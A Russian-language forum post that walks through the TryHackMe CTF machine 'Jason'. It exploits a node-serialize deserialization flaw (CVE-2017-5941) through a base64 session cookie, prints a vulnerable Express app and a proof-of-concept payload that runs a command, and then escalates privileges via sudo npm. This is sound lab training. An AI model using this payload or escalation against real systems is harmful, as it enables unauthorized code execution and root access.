• Приглашаем на KubanCTF

    Старт соревнований 14 сентября в 10:00 по москве

    Ссылка на регистрацию в соревнованиях Kuban CTF: kubanctf.ru

    Кодебай является технологическим партнером мероприятия

CTF Прохождение TryHackME | Jason

vov4ick

Green Team
11.12.2022
54
124
BIT
1 007
1724163585789.png


Всем привет ! Сегодня я разберу машину Jason на площадке TryHackMe. Уровень Easy, но это правильная тачка, с правильной багой, которая много чему научит.

Сканирование.

1724164579220.png


У нас есть два порта на которых висят ssh и веб сервер.

Посетив нашу цель нас встречает сайт, с формой отправки email. Как только мы отправляем его , мы получаем ответ как на картинке.
Так же мы наблюдаем что сайт построен с помощью Nodejs.
1724164849324.png


Попробуем перехватить запрос в Burp и посмотреть какие ответы мы получаем:
Screenshot_5.png


При вводе в email мы получаем закодированный сеанс в base64.
Если мы кинем это в декодер , то увидим следующее.
1724165470288.png


Точка опоры.
Мои запросы по типу node.js deserialization exploit , привели меня к CVE-2017-5941.
Уязвимость позволяет злоумышленнику создать цепочку, используя механизм сериализации для исполнения
произвольного кода при десериализации. Если приложение использует функции serialize и deserialize из node-serialize
без должной проверки и фильтрации данных, злоумышленник может произвести инъекцию кода через специально подготовленные данные.

Немого ликбеза:
Сериализация — это процесс преобразования объекта (например, данных или структуры) в формат,
который можно сохранить (например, в файл) или передать по сети.
Десериализация — это обратный процесс, когда данные восстанавливаются из сохраненного
или переданного формата обратно в объект.
Эти процессы используются для передачи объектов между разными системами или сохранения их состояния.

Вот пример node.js приложение для имитации кода:
Значение cookie, полученное из запроса, было передано в unserialize() функцию, предоставляемую модулем.
JavaScript:
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     res.send("Hello " + escape(obj.username));
   }
 } else {
     res.cookie('session', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello World");
});
app.listen(3000);

Для этого я использовал node-serialize. Так же я создал объект js, с таким кодом который я передал в serialize() функцию.
Передача ее в unserialize() функцию приведет к выполнению кода.
JavaScript:
var y = {
rce : function(){
require('child_process').exec('ping -c 1 10.10.61.233', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

Мы можем проверить это, просто отправив ICMP пакеты:
1724228975928.png


И получив их на выходе :
1724229061771.png

Теперь мы знаем, что можем использовать unserialize() функцию в модуле node-serialize, если в него передаются
ненадежные данные. Давайте воспользуемся уязвимостью в веб-приложении, чтобы создать обратную оболочку.

Создание полезной нагрузки

1724251507014.png


Теперь осталось закодировать нашу нагрузку в base64:
1724248242761.png


После обновляем страницу и просто меняем текущий сеанс на свой, который мы закодировали. Так же прослушиваем порт
который мы указали в полезной нагрузке:
Окно переполнения области задач._240821165503.png

Мы получили наш первый флаг.

Privilege escalation.
Проверяем наши возможности:
1724248760928.png


Вообщем dylan может запускать npm от sudo без ввода пароля.
Обратимся к Gitfobins. Это действительно что нам нужно.
1724249173021.png


Таким образом, эта команда создает временный каталог, так же она создает в нем файл package.json, а затем выполняет
npm install с правами суперпользователя. При этом используется флаг --unsafe-perm, который позволяет выполнять
установочные скрипты с повышенными правами. В итоге это может привести к запуску оболочки /bin/sh, от суперпользователя.
1724249569356.png


Заключение:
Важно тщательно проверять и фильтровать входящие данные перед их десериализацией.
Небезопасная десериализация может привести к выполнению произвольного кода, а также к утечке
конфиденциальной информации и другим критическим последствиям.

Итоги:
В целом машина мне понравилась, в жизни такое редко встретишь, но понимание как работает данная уязвимость
дает только плюс в копилку для пентестера.
Спасибо всем за внимание. Я надеюсь предоставленный материал был полезен и интересен для вас.
Если у вас возникли вопросы или предложения не стесняйтесь делиться ими в комментариях. Ваши мысли и идеи всегда приветствуются.
 

Вложения

  • 1724229212881.png
    1724229212881.png
    37,9 КБ · Просмотры: 20
  • 1724229384359.png
    1724229384359.png
    13,3 КБ · Просмотры: 15
  • 1724229488524.png
    1724229488524.png
    9,4 КБ · Просмотры: 18
  • Окно переполнения области задач._240821171201.png
    Окно переполнения области задач._240821171201.png
    15,8 КБ · Просмотры: 20
  • Нравится
Реакции: yetiraki и Edmon Dantes
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!